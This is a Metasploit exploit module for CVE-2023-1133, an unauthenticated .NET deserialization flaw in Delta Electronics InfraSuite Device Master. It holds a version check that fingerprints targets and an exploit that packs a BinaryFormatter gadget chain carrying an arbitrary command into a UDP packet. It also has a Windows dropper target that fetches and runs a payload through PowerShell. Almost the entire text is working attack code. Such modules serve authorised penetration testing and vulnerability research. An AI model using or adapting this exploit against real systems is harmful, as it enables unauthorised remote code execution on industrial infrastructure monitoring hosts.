Delta Electronics InfraSuite Device Master Deserialization

`# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::Udp  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Delta Electronics InfraSuite Device Master Deserialization',  
'Description' => %q{  
Delta Electronics InfraSuite Device Master versions below v1.0.5 have an  
unauthenticated .NET deserialization vulnerability within the 'ParseUDPPacket()'  
method of the 'Device-Gateway-Status' process.  
  
The 'ParseUDPPacket()' method reads user-controlled packet data and eventually  
calls 'BinaryFormatter.Deserialize()' on what it determines to be the packet header without appropriate validation,  
leading to unauthenticated code execution as the user running the 'Device-Gateway-Status' process.  
},  
'Author' => [  
'Anonymous', # Vulnerability discovery  
'Shelby Pace' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2023-1133'],  
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-672/'],  
['URL', 'https://attackerkb.com/topics/owl4Xz8fKW/cve-2023-1133']  
],  
'Platform' => 'win',  
'Privileged' => false,  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Targets' => [  
[  
'Windows EXE Dropper',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_dropper,  
'CmdStagerFlavor' => :psh_invokewebrequest  
}  
],  
[  
'Windows CMD',  
{  
'Arch' => [ARCH_CMD],  
'Type' => :windows_cmd  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2023-05-17',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
)  
  
register_options([  
Opt::RPORT(10100),  
OptInt.new('INFRASUITE_PORT', [ true, 'The port on which the InfraSuite Manager is listening', 80 ]),  
OptString.new('TARGETURI', [ true, 'The base path to the InfraSuite Manager', '/' ])  
])  
end  
  
def check  
print_status('Requesting the login page to determine if target is InfraSuite Device Master...')  
res = send_request_cgi(  
'method' => 'GET',  
'rport' => datastore['INFRASUITE_PORT'],  
'uri' => normalize_uri(target_uri.path, 'login.html')  
)  
  
return CheckCode::Unknown unless res  
  
unless res.body.include?('InfraSuite Manager Login')  
return CheckCode::Safe('Target does not appear to be InfraSuite Device Master.')  
end  
  
print_status('Target is InfraSuite Device Master. Now attempting to determine version.')  
res = send_request_cgi(  
'method' => 'GET',  
'rport' => datastore['INFRASUITE_PORT'],  
'uri' => normalize_uri(target_uri.path, 'js/webcfg.js')  
)  
  
unless res&.body&.include?('var devicemasterCfg')  
return CheckCode::Detected('Discovered InfraSuite Device Master, but couldn\'t determine version.')  
end  
  
version = res.body.match(/version:'(\d+(?:\.\d+)+[a-zA-Z]?)'/)  
unless version && version.length > 1  
return CheckCode::Detected('Failed to find version string')  
end  
  
version = version[1]  
vprint_status("Found version '#{version}' of InfraSuite Device Master")  
r_vers = Rex::Version.new(version)  
  
return CheckCode::Appears if r_vers < Rex::Version.new('1.0.5')  
  
CheckCode::Safe  
end  
  
def exploit  
connect_udp  
case target['Type']  
when :windows_dropper  
execute_cmdstager  
when :windows_cmd  
execute_command(payload.encoded)  
end  
end  
  
def execute_command(cmd, _opts = {})  
serialized = ::Msf::Util::DotNetDeserialization.generate(  
cmd,  
gadget_chain: :ClaimsPrincipal,  
formatter: :BinaryFormatter  
)  
  
pkt = "\x01#{[ serialized.length ].pack('n')}#{serialized}"  
udp_sock.put(pkt)  
end  
  
def cleanup  
disconnect_udp  
end  
end  
`